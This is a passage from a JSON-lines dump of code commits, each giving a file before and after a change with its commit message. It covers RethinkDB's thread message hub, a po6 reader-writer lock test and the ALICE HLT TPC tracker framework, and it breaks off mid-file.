rand_reloop_count();\n#else\n msg->reloop_count_ = 0;\n#endif\n#endif \/\/ NDEBUG\n do_store_message(nthread, msg);\n}\n\n\nvoid linux_message_hub_t::insert_external_message(linux_thread_message_t *msg) {\n incoming_messages_lock_.lock();\n incoming_messages_.push_back(msg);\n incoming_messages_lock_.unlock();\n\n \/\/ Wakey wakey eggs and bakey\n notify_[current_thread_].event.write(1);\n}\n\nvoid linux_message_hub_t::notify_t::on_event(int events) {\n\n if (events != poll_event_in) {\n logERR(\"Unexpected event mask: %d\", events);\n }\n\n \/\/ Read from the event so level-triggered mechanism such as poll\n \/\/ don't pester us and use 100% cpu\n event.read();\n\n msg_list_t msg_list;\n\n parent->incoming_messages_lock_.lock();\n \/\/ Pull the messages\n \/\/msg_list.append_and_clear(parent->thread_pool_->threads[parent->current_thread_]->message_hub);\n msg_list.append_and_clear(&parent->incoming_messages_);\n parent->incoming_messages_lock_.unlock();\n\n#ifndef NDEBUG\n start_watchdog(); \/\/ Initialize watchdog before handling messages\n#endif\n\n while (linux_thread_message_t *m = msg_list.head()) {\n msg_list.remove(m);\n#ifndef NDEBUG\n if (m->reloop_count_ > 0) {\n --m->reloop_count_;\n parent->do_store_message(parent->current_thread_, m);\n continue;\n }\n#endif\n\n m->on_thread_switch();\n\n#ifndef NDEBUG\n pet_watchdog(); \/\/ Verify that each message completes in the acceptable time range\n#endif\n }\n}\n\n\/\/ Pushes messages collected locally global lists available to all\n\/\/ threads.\nvoid linux_message_hub_t::push_messages() {\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n \/\/ Append the local list for ith thread to that thread's global\n \/\/ message list.\n thread_queue_t *queue = &queues_[i];\n if (!queue->msg_local_list.empty()) {\n \/\/ Transfer messages to the other core\n\n thread_pool_->threads[i]->message_hub.incoming_messages_lock_.lock();\n\n \/\/We only need to do a wake up if the global\n bool do_wake_up = thread_pool_->threads[i]->message_hub.incoming_messages_.empty();\n\n thread_pool_->threads[i]->message_hub.incoming_messages_.append_and_clear(&queue->msg_local_list);\n\n thread_pool_->threads[i]->message_hub.incoming_messages_lock_.unlock();\n\n \/\/ Wakey wakey, perhaps eggs and bakey\n if (do_wake_up) {\n thread_pool_->threads[i]->message_hub.notify_[current_thread_].event.write(1);\n }\n }\n\n \/\/ TODO: we should use regular mutexes on single core CPU\n \/\/ instead of spinlocks\n }\n}\nRemoved unused variable res in linux_message_hub_t destructor.\/\/ Copyright 2010-2012 RethinkDB, all rights reserved.\n#include \"arch\/runtime\/message_hub.hpp\"\n\n#include \n#include \n\n#include \"config\/args.hpp\"\n#include \"arch\/runtime\/event_queue.hpp\"\n#include \"arch\/runtime\/thread_pool.hpp\"\n#include \"logger.hpp\"\n\n\/\/ Set this to 1 if you would like some \"unordered\" messages to be unordered.\n#ifndef NDEBUG\n#define RDB_RELOOP_MESSAGES 0\n#endif\n\nlinux_message_hub_t::linux_message_hub_t(linux_event_queue_t *queue, linux_thread_pool_t *thread_pool, int current_thread)\n : queue_(queue), thread_pool_(thread_pool), current_thread_(current_thread) {\n\n \/\/ We have to do this through dynamically, otherwise we might\n \/\/ allocate far too many file descriptors since this is what the\n \/\/ constructor of the system_event_t object (which is a member of\n \/\/ notify_t) does.\n notify_ = new notify_t[thread_pool_->n_threads];\n\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n \/\/ Create notify fd for other cores that send work to us\n notify_[i].notifier_thread = i;\n notify_[i].parent = this;\n\n queue_->watch_resource(notify_[i].event.get_notify_fd(), poll_event_in, ¬ify_[i]);\n }\n}\n\nlinux_message_hub_t::~linux_message_hub_t() {\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n guarantee(queues_[i].msg_local_list.empty());\n }\n\n guarantee(incoming_messages_.empty());\n\n delete[] notify_;\n}\n\nvoid linux_message_hub_t::do_store_message(unsigned int nthread, linux_thread_message_t *msg) {\n rassert(nthread < (unsigned)thread_pool_->n_threads);\n queues_[nthread].msg_local_list.push_back(msg);\n}\n\n\/\/ Collects a message for a given thread onto a local list.\nvoid linux_message_hub_t::store_message(unsigned int nthread, linux_thread_message_t *msg) {\n#ifndef NDEBUG\n#if RDB_RELOOP_MESSAGES\n \/\/ We default to 1, not zero, to allow store_message_sometime messages to sometimes jump ahead of\n \/\/ store_message messages.\n msg->reloop_count_ = 1;\n#else\n msg->reloop_count_ = 0;\n#endif\n#endif \/\/ NDEBUG\n do_store_message(nthread, msg);\n}\n\nint rand_reloop_count() {\n int x;\n frexp(randint(10000) \/ 10000.0, &x);\n int ret = -x;\n rassert(ret >= 0);\n return ret;\n}\n\nvoid linux_message_hub_t::store_message_sometime(unsigned int nthread, linux_thread_message_t *msg) {\n#ifndef NDEBUG\n#if RDB_RELOOP_MESSAGES\n msg->reloop_count_ = rand_reloop_count();\n#else\n msg->reloop_count_ = 0;\n#endif\n#endif \/\/ NDEBUG\n do_store_message(nthread, msg);\n}\n\n\nvoid linux_message_hub_t::insert_external_message(linux_thread_message_t *msg) {\n incoming_messages_lock_.lock();\n incoming_messages_.push_back(msg);\n incoming_messages_lock_.unlock();\n\n \/\/ Wakey wakey eggs and bakey\n notify_[current_thread_].event.write(1);\n}\n\nvoid linux_message_hub_t::notify_t::on_event(int events) {\n\n if (events != poll_event_in) {\n logERR(\"Unexpected event mask: %d\", events);\n }\n\n \/\/ Read from the event so level-triggered mechanism such as poll\n \/\/ don't pester us and use 100% cpu\n event.read();\n\n msg_list_t msg_list;\n\n parent->incoming_messages_lock_.lock();\n \/\/ Pull the messages\n \/\/msg_list.append_and_clear(parent->thread_pool_->threads[parent->current_thread_]->message_hub);\n msg_list.append_and_clear(&parent->incoming_messages_);\n parent->incoming_messages_lock_.unlock();\n\n#ifndef NDEBUG\n start_watchdog(); \/\/ Initialize watchdog before handling messages\n#endif\n\n while (linux_thread_message_t *m = msg_list.head()) {\n msg_list.remove(m);\n#ifndef NDEBUG\n if (m->reloop_count_ > 0) {\n --m->reloop_count_;\n parent->do_store_message(parent->current_thread_, m);\n continue;\n }\n#endif\n\n m->on_thread_switch();\n\n#ifndef NDEBUG\n pet_watchdog(); \/\/ Verify that each message completes in the acceptable time range\n#endif\n }\n}\n\n\/\/ Pushes messages collected locally global lists available to all\n\/\/ threads.\nvoid linux_message_hub_t::push_messages() {\n for (int i = 0; i < thread_pool_->n_threads; i++) {\n \/\/ Append the local list for ith thread to that thread's global\n \/\/ message list.\n thread_queue_t *queue = &queues_[i];\n if (!queue->msg_local_list.empty()) {\n \/\/ Transfer messages to the other core\n\n thread_pool_->threads[i]->message_hub.incoming_messages_lock_.lock();\n\n \/\/We only need to do a wake up if the global\n bool do_wake_up = thread_pool_->threads[i]->message_hub.incoming_messages_.empty();\n\n thread_pool_->threads[i]->message_hub.incoming_messages_.append_and_clear(&queue->msg_local_list);\n\n thread_pool_->threads[i]->message_hub.incoming_messages_lock_.unlock();\n\n \/\/ Wakey wakey, perhaps eggs and bakey\n if (do_wake_up) {\n thread_pool_->threads[i]->message_hub.notify_[current_thread_].event.write(1);\n }\n }\n\n \/\/ TODO: we should use regular mutexes on single core CPU\n \/\/ instead of spinlocks\n }\n}\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2011, Robert Escriva\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of po6 nor the names of its contributors may be used\n\/\/ to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ C++\n#include \n\n\/\/ Google Test\n#include \n\n\/\/ po6\n#include \"po6\/threads\/rwlock.h\"\n#include \"po6\/threads\/thread.h\"\n\n#pragma GCC diagnostic ignored \"-Wswitch-default\"\n\nclass RwlockTestThread\n{\n public:\n RwlockTestThread(po6::threads::rwlock* rwl, bool mode)\n : m_rwl(rwl)\n , m_mode(mode)\n {\n }\n\n ~RwlockTestThread()\n {\n }\n\n void operator () ()\n {\n for (int i = 0; i < 1000000; ++i)\n {\n if (m_mode)\n {\n m_rwl->rdlock();\n }\n else\n {\n m_rwl->wrlock();\n }\n\n m_rwl->unlock();\n }\n }\n\n private:\n RwlockTestThread(const RwlockTestThread&);\n\n private:\n RwlockTestThread& operator = (const RwlockTestThread&);\n\n private:\n po6::threads::rwlock* m_rwl;\n bool m_mode;\n};\n\nnamespace\n{\n\nTEST(RwlockTest, CtorAndDtor)\n{\n po6::threads::rwlock rwl;\n}\n\nTEST(RwlockTest, LockAndUnlock)\n{\n po6::threads::rwlock rwl;\n rwl.rdlock();\n rwl.unlock();\n rwl.wrlock();\n rwl.unlock();\n}\n\nTEST(RwlockTest, TwoThreads)\n{\n po6::threads::rwlock rwl;\n RwlockTestThread read(&rwl, true);\n RwlockTestThread write(&rwl, false);\n po6::threads::thread t1(std::tr1::ref(read));\n po6::threads::thread t2(std::tr1::ref(read));\n po6::threads::thread t3(std::tr1::ref(write));\n\n t1.start();\n t2.start();\n t3.start();\n t1.join();\n t2.join();\n t3.join();\n}\n\nTEST(RwlockTest, Holding)\n{\n po6::threads::rwlock rwl;\n\n {\n po6::threads::rwlock::rdhold h(&rwl);\n }\n\n {\n po6::threads::rwlock::wrhold h(&rwl);\n }\n\n rwl.unlock();\n}\n\n} \/\/ namespace\nRemove extraneous unlock in rwlock::holding.\/\/ Copyright (c) 2011, Robert Escriva\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of po6 nor the names of its contributors may be used\n\/\/ to endorse or promote products derived from this software without\n\/\/ specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\n\/\/ C++\n#include \n\n\/\/ Google Test\n#include \n\n\/\/ po6\n#include \"po6\/threads\/rwlock.h\"\n#include \"po6\/threads\/thread.h\"\n\n#pragma GCC diagnostic ignored \"-Wswitch-default\"\n\nclass RwlockTestThread\n{\n public:\n RwlockTestThread(po6::threads::rwlock* rwl, bool mode)\n : m_rwl(rwl)\n , m_mode(mode)\n {\n }\n\n ~RwlockTestThread()\n {\n }\n\n void operator () ()\n {\n for (int i = 0; i < 1000000; ++i)\n {\n if (m_mode)\n {\n m_rwl->rdlock();\n }\n else\n {\n m_rwl->wrlock();\n }\n\n m_rwl->unlock();\n }\n }\n\n private:\n RwlockTestThread(const RwlockTestThread&);\n\n private:\n RwlockTestThread& operator = (const RwlockTestThread&);\n\n private:\n po6::threads::rwlock* m_rwl;\n bool m_mode;\n};\n\nnamespace\n{\n\nTEST(RwlockTest, CtorAndDtor)\n{\n po6::threads::rwlock rwl;\n}\n\nTEST(RwlockTest, LockAndUnlock)\n{\n po6::threads::rwlock rwl;\n rwl.rdlock();\n rwl.unlock();\n rwl.wrlock();\n rwl.unlock();\n}\n\nTEST(RwlockTest, TwoThreads)\n{\n po6::threads::rwlock rwl;\n RwlockTestThread read(&rwl, true);\n RwlockTestThread write(&rwl, false);\n po6::threads::thread t1(std::tr1::ref(read));\n po6::threads::thread t2(std::tr1::ref(read));\n po6::threads::thread t3(std::tr1::ref(write));\n\n t1.start();\n t2.start();\n t3.start();\n t1.join();\n t2.join();\n t3.join();\n}\n\nTEST(RwlockTest, Holding)\n{\n po6::threads::rwlock rwl;\n\n {\n po6::threads::rwlock::rdhold h(&rwl);\n }\n\n {\n po6::threads::rwlock::wrhold h(&rwl);\n }\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"\/\/ **************************************************************************\n\/\/ This file is property of and copyright by the ALICE HLT Project *\n\/\/ ALICE Experiment at CERN, All rights reserved. *\n\/\/ *\n\/\/ Primary Authors: Sergey Gorbunov *\n\/\/ Ivan Kisel *\n\/\/ for The ALICE HLT Project. *\n\/\/ *\n\/\/ Permission to use, copy, modify and distribute this software and its *\n\/\/ documentation strictly for non-commercial purposes is hereby granted *\n\/\/ without fee, provided that the above copyright notice appears in all *\n\/\/ copies and that both the copyright notice and this permission notice *\n\/\/ appear in the supporting documentation. The authors make no claims *\n\/\/ about the suitability of this software for any purpose. It is *\n\/\/ provided \"as is\" without express or implied warranty. *\n\/\/ *\n\/\/***************************************************************************\n\n\n#include \"AliHLTTPCCAStandaloneFramework.h\"\n#include \"AliHLTTPCCATrackParam.h\"\n#include \"AliHLTTPCCAMerger.h\"\n#include \"AliHLTTPCCAMergerOutput.h\"\n#include \"AliHLTTPCCADataCompressor.h\"\n#include \"AliHLTTPCCAMath.h\"\n#include \"AliHLTTPCCAClusterData.h\"\n#include \"TStopwatch.h\"\n\n\/\/If not building GPU Code then build dummy functions to link against\n#ifndef BUILD_GPU\nAliHLTTPCCAGPUTracker::AliHLTTPCCAGPUTracker() : gpuTracker(), DebugLevel(0) {}\nAliHLTTPCCAGPUTracker::~AliHLTTPCCAGPUTracker() {}\nint AliHLTTPCCAGPUTracker::InitGPU() {return(0);}\n\/\/template inline T* AliHLTTPCCAGPUTracker::alignPointer(T* ptr, int alignment) {return(NULL);}\n\/\/bool AliHLTTPCCAGPUTracker::CUDA_FAILED_MSG(cudaError_t error) {return(true);}\n\/\/int AliHLTTPCCAGPUTracker::CUDASync() {return(1);}\n\/\/void AliHLTTPCCAGPUTracker::SetDebugLevel(int dwLevel, std::ostream *NewOutFile) {};\nint AliHLTTPCCAGPUTracker::Reconstruct(AliHLTTPCCATracker* tracker) {return(1);}\nint AliHLTTPCCAGPUTracker::ExitGPU() {return(0);}\n#endif\n\nAliHLTTPCCAStandaloneFramework &AliHLTTPCCAStandaloneFramework::Instance()\n{\n \/\/ reference to static object\n static AliHLTTPCCAStandaloneFramework gAliHLTTPCCAStandaloneFramework;\n return gAliHLTTPCCAStandaloneFramework;\n}\n\nAliHLTTPCCAStandaloneFramework::AliHLTTPCCAStandaloneFramework()\n : fMerger(), fStatNEvents( 0 ), fUseGPUTracker(false), fGPUDebugLevel(0)\n{\n \/\/* constructor\n\n for ( int i = 0; i < 20; i++ ) {\n fLastTime[i] = 0;\n fStatTime[i] = 0;\n }\n}\n\nAliHLTTPCCAStandaloneFramework::AliHLTTPCCAStandaloneFramework( const AliHLTTPCCAStandaloneFramework& )\n : fMerger(), fStatNEvents( 0 )\n{\n \/\/* dummy\n}\n\nconst AliHLTTPCCAStandaloneFramework &AliHLTTPCCAStandaloneFramework::operator=( const AliHLTTPCCAStandaloneFramework& ) const\n{\n \/\/* dummy\n return *this;\n}\n\nAliHLTTPCCAStandaloneFramework::~AliHLTTPCCAStandaloneFramework()\n{\n \/\/* destructor\n}\n\n\nvoid AliHLTTPCCAStandaloneFramework::StartDataReading( int guessForNumberOfClusters )\n{\n \/\/prepare for reading of the event\n\n int sliceGuess = 2 * guessForNumberOfClusters \/ fgkNSlices;\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fClusterData[i].StartReading( i, sliceGuess );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::FinishDataReading()\n{\n \/\/ finish reading of the event\n\n \/*static int event_number = 0;\n char filename[256];\n\n sprintf(filename, \"events\/event.%d.dump\", event_number);\n printf(\"Dumping event into file %s\\n\", filename);\n std::ofstream outfile(filename, std::ofstream::binary);\n if (outfile.fail())\n {\n printf(\"Error opening event dump file\\n\");\n exit(1);\n }\n WriteEvent(outfile);\n if (outfile.fail())\n {\n printf(\"Error writing event dump file\\n\");\n exit(1);\n }\n outfile.close();\n\n sprintf(filename, \"events\/settings.%d.dump\", event_number);\n outfile.open(filename);\n WriteSettings(outfile);\n outfile.close();\n\n event_number++;\n \n std::ifstream infile(filename, std::ifstream::binary);\n ReadEvent(infile);\n infile.close();*\/\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fClusterData[i].FinishReading();\n }\n}\n\n\n\/\/int\nvoid AliHLTTPCCAStandaloneFramework::ProcessEvent()\n{\n \/\/ perform the event reconstruction\n\n fStatNEvents++;\n\n TStopwatch timer0;\n TStopwatch timer1;\n\n if (!fUseGPUTracker || fGPUDebugLevel >= 3)\n {\n\tfor ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n\t fSliceTrackers[iSlice].ReadEvent( &( fClusterData[iSlice] ) );\n fSliceTrackers[iSlice].Reconstruct();\n\t}\n\tif (fGPUDebugLevel >= 2) printf(\"\\n\");\n }\n\n if (fUseGPUTracker)\n {\n\t for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n\t fSliceTrackers[iSlice].ReadEvent( &( fClusterData[iSlice] ) );\n\t\tif (fGPUTracker.Reconstruct(&fSliceTrackers[iSlice]))\n\t\t{\n\t\t\tprintf(\"Error during GPU Reconstruction!!!\\n\");\n\t\t\t\/\/return(1);\n\t\t}\n\t }\n\t if (fGPUDebugLevel >= 2) printf(\"\\n\");\n }\n\n timer1.Stop();\n TStopwatch timer2;\n\n fMerger.Clear();\n fMerger.SetSliceParam( fSliceTrackers[0].Param() );\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fMerger.SetSliceData( i, fSliceTrackers[i].Output() );\n }\n\n fMerger.Reconstruct();\n\n timer2.Stop();\n timer0.Stop();\n\n fLastTime[0] = timer0.CpuTime();\n fLastTime[1] = timer1.CpuTime();\n fLastTime[2] = timer2.CpuTime();\n\n for ( int i = 0; i < 3; i++ ) fStatTime[i] += fLastTime[i];\n\n \/\/return(0);\n}\n\n\nvoid AliHLTTPCCAStandaloneFramework::WriteSettings( std::ostream &out ) const\n{\n \/\/* write settings to the file\n out << NSlices() << std::endl;\n for ( int iSlice = 0; iSlice < NSlices(); iSlice++ ) {\n fSliceTrackers[iSlice].Param().WriteSettings( out );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadSettings( std::istream &in )\n{\n \/\/* Read settings from the file\n int nSlices = 0;\n in >> nSlices;\n for ( int iSlice = 0; iSlice < nSlices; iSlice++ ) {\n AliHLTTPCCAParam param;\n param.ReadSettings ( in );\n fSliceTrackers[iSlice].Initialize( param );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::WriteEvent( std::ostream &out ) const\n{\n \/\/ write event to the file\n for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n fClusterData[iSlice].WriteEvent( out );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadEvent( std::istream &in )\n{\n \/\/* Read event from file\n for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n fClusterData[iSlice].ReadEvent( in );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::WriteTracks( std::ostream &out ) const\n{\n \/\/* Write tracks to file\n\n for ( int i = 0; i < 20; i++ ) out << fLastTime[i] << std::endl;\n \/\/fMerger.Output()->Write( out );\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadTracks( std::istream &in )\n{\n \/\/* Read tracks from file\n\n for ( int i = 0; i < 20; i++ ) {\n in >> fLastTime[i];\n fStatTime[i] += fLastTime[i];\n }\n \/\/fMerger.Output()->Read( in );\n}\n\nint AliHLTTPCCAStandaloneFramework::InitGPU()\n{\n\tif (fUseGPUTracker) return(1);\n\tint retVal = fGPUTracker.InitGPU();\n\tfUseGPUTracker = retVal == 0;\n\treturn(retVal);\n}\n\nint AliHLTTPCCAStandaloneFramework::ExitGPU()\n{\n\tif (!fUseGPUTracker) return(1);\n\treturn(fGPUTracker.ExitGPU());\n}\n\nvoid AliHLTTPCCAStandaloneFramework::SetGPUDebugLevel(int Level, std::ostream *OutFile, std::ostream *GPUOutFile)\n{\n\tfGPUTracker.SetDebugLevel(Level, GPUOutFile);\n\tfGPUDebugLevel = Level;\n\tfor (int i = 0;i < fgkNSlices;i++)\n\t{\n\t\tfSliceTrackers[i].SetGPUDebugLevel(Level, OutFile);\n\t}\n}\nimplementation of GPUTracker::SetDebugLevel() added\/\/ **************************************************************************\n\/\/ This file is property of and copyright by the ALICE HLT Project *\n\/\/ ALICE Experiment at CERN, All rights reserved. *\n\/\/ *\n\/\/ Primary Authors: Sergey Gorbunov *\n\/\/ Ivan Kisel *\n\/\/ for The ALICE HLT Project. *\n\/\/ *\n\/\/ Permission to use, copy, modify and distribute this software and its *\n\/\/ documentation strictly for non-commercial purposes is hereby granted *\n\/\/ without fee, provided that the above copyright notice appears in all *\n\/\/ copies and that both the copyright notice and this permission notice *\n\/\/ appear in the supporting documentation. The authors make no claims *\n\/\/ about the suitability of this software for any purpose. It is *\n\/\/ provided \"as is\" without express or implied warranty. *\n\/\/ *\n\/\/***************************************************************************\n\n\n#include \"AliHLTTPCCAStandaloneFramework.h\"\n#include \"AliHLTTPCCATrackParam.h\"\n#include \"AliHLTTPCCAMerger.h\"\n#include \"AliHLTTPCCAMergerOutput.h\"\n#include \"AliHLTTPCCADataCompressor.h\"\n#include \"AliHLTTPCCAMath.h\"\n#include \"AliHLTTPCCAClusterData.h\"\n#include \"TStopwatch.h\"\n\n\/\/If not building GPU Code then build dummy functions to link against\n#ifndef BUILD_GPU\nAliHLTTPCCAGPUTracker::AliHLTTPCCAGPUTracker() : gpuTracker(), DebugLevel(0) {}\nAliHLTTPCCAGPUTracker::~AliHLTTPCCAGPUTracker() {}\nint AliHLTTPCCAGPUTracker::InitGPU() {return(0);}\n\/\/template inline T* AliHLTTPCCAGPUTracker::alignPointer(T* ptr, int alignment) {return(NULL);}\n\/\/bool AliHLTTPCCAGPUTracker::CUDA_FAILED_MSG(cudaError_t error) {return(true);}\n\/\/int AliHLTTPCCAGPUTracker::CUDASync() {return(1);}\nvoid AliHLTTPCCAGPUTracker::SetDebugLevel(int dwLevel, std::ostream *NewOutFile) {};\nint AliHLTTPCCAGPUTracker::Reconstruct(AliHLTTPCCATracker* tracker) {return(1);}\nint AliHLTTPCCAGPUTracker::ExitGPU() {return(0);}\n#endif\n\nAliHLTTPCCAStandaloneFramework &AliHLTTPCCAStandaloneFramework::Instance()\n{\n \/\/ reference to static object\n static AliHLTTPCCAStandaloneFramework gAliHLTTPCCAStandaloneFramework;\n return gAliHLTTPCCAStandaloneFramework;\n}\n\nAliHLTTPCCAStandaloneFramework::AliHLTTPCCAStandaloneFramework()\n : fMerger(), fStatNEvents( 0 ), fUseGPUTracker(false), fGPUDebugLevel(0)\n{\n \/\/* constructor\n\n for ( int i = 0; i < 20; i++ ) {\n fLastTime[i] = 0;\n fStatTime[i] = 0;\n }\n}\n\nAliHLTTPCCAStandaloneFramework::AliHLTTPCCAStandaloneFramework( const AliHLTTPCCAStandaloneFramework& )\n : fMerger(), fStatNEvents( 0 )\n{\n \/\/* dummy\n}\n\nconst AliHLTTPCCAStandaloneFramework &AliHLTTPCCAStandaloneFramework::operator=( const AliHLTTPCCAStandaloneFramework& ) const\n{\n \/\/* dummy\n return *this;\n}\n\nAliHLTTPCCAStandaloneFramework::~AliHLTTPCCAStandaloneFramework()\n{\n \/\/* destructor\n}\n\n\nvoid AliHLTTPCCAStandaloneFramework::StartDataReading( int guessForNumberOfClusters )\n{\n \/\/prepare for reading of the event\n\n int sliceGuess = 2 * guessForNumberOfClusters \/ fgkNSlices;\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fClusterData[i].StartReading( i, sliceGuess );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::FinishDataReading()\n{\n \/\/ finish reading of the event\n\n \/*static int event_number = 0;\n char filename[256];\n\n sprintf(filename, \"events\/event.%d.dump\", event_number);\n printf(\"Dumping event into file %s\\n\", filename);\n std::ofstream outfile(filename, std::ofstream::binary);\n if (outfile.fail())\n {\n printf(\"Error opening event dump file\\n\");\n exit(1);\n }\n WriteEvent(outfile);\n if (outfile.fail())\n {\n printf(\"Error writing event dump file\\n\");\n exit(1);\n }\n outfile.close();\n\n sprintf(filename, \"events\/settings.%d.dump\", event_number);\n outfile.open(filename);\n WriteSettings(outfile);\n outfile.close();\n\n event_number++;\n \n std::ifstream infile(filename, std::ifstream::binary);\n ReadEvent(infile);\n infile.close();*\/\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fClusterData[i].FinishReading();\n }\n}\n\n\n\/\/int\nvoid AliHLTTPCCAStandaloneFramework::ProcessEvent()\n{\n \/\/ perform the event reconstruction\n\n fStatNEvents++;\n\n TStopwatch timer0;\n TStopwatch timer1;\n\n if (!fUseGPUTracker || fGPUDebugLevel >= 3)\n {\n\tfor ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n\t fSliceTrackers[iSlice].ReadEvent( &( fClusterData[iSlice] ) );\n fSliceTrackers[iSlice].Reconstruct();\n\t}\n\tif (fGPUDebugLevel >= 2) printf(\"\\n\");\n }\n\n if (fUseGPUTracker)\n {\n\t for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n\t fSliceTrackers[iSlice].ReadEvent( &( fClusterData[iSlice] ) );\n\t\tif (fGPUTracker.Reconstruct(&fSliceTrackers[iSlice]))\n\t\t{\n\t\t\tprintf(\"Error during GPU Reconstruction!!!\\n\");\n\t\t\t\/\/return(1);\n\t\t}\n\t }\n\t if (fGPUDebugLevel >= 2) printf(\"\\n\");\n }\n\n timer1.Stop();\n TStopwatch timer2;\n\n fMerger.Clear();\n fMerger.SetSliceParam( fSliceTrackers[0].Param() );\n\n for ( int i = 0; i < fgkNSlices; i++ ) {\n fMerger.SetSliceData( i, fSliceTrackers[i].Output() );\n }\n\n fMerger.Reconstruct();\n\n timer2.Stop();\n timer0.Stop();\n\n fLastTime[0] = timer0.CpuTime();\n fLastTime[1] = timer1.CpuTime();\n fLastTime[2] = timer2.CpuTime();\n\n for ( int i = 0; i < 3; i++ ) fStatTime[i] += fLastTime[i];\n\n \/\/return(0);\n}\n\n\nvoid AliHLTTPCCAStandaloneFramework::WriteSettings( std::ostream &out ) const\n{\n \/\/* write settings to the file\n out << NSlices() << std::endl;\n for ( int iSlice = 0; iSlice < NSlices(); iSlice++ ) {\n fSliceTrackers[iSlice].Param().WriteSettings( out );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadSettings( std::istream &in )\n{\n \/\/* Read settings from the file\n int nSlices = 0;\n in >> nSlices;\n for ( int iSlice = 0; iSlice < nSlices; iSlice++ ) {\n AliHLTTPCCAParam param;\n param.ReadSettings ( in );\n fSliceTrackers[iSlice].Initialize( param );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::WriteEvent( std::ostream &out ) const\n{\n \/\/ write event to the file\n for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n fClusterData[iSlice].WriteEvent( out );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::ReadEvent( std::istream &in )\n{\n \/\/* Read event from file\n for ( int iSlice = 0; iSlice < fgkNSlices; iSlice++ ) {\n fClusterData[iSlice].ReadEvent( in );\n }\n}\n\nvoid AliHLTTPCCAStandaloneFramework::WriteTracks( std::ostream &out ) const\n{\n \/\/* Write tracks to file\n\n for ( int i = 0; i < 20; i++ ) out << fLastTime[i] << std::endl;\n \/\/fMerger.Output()->Write( out 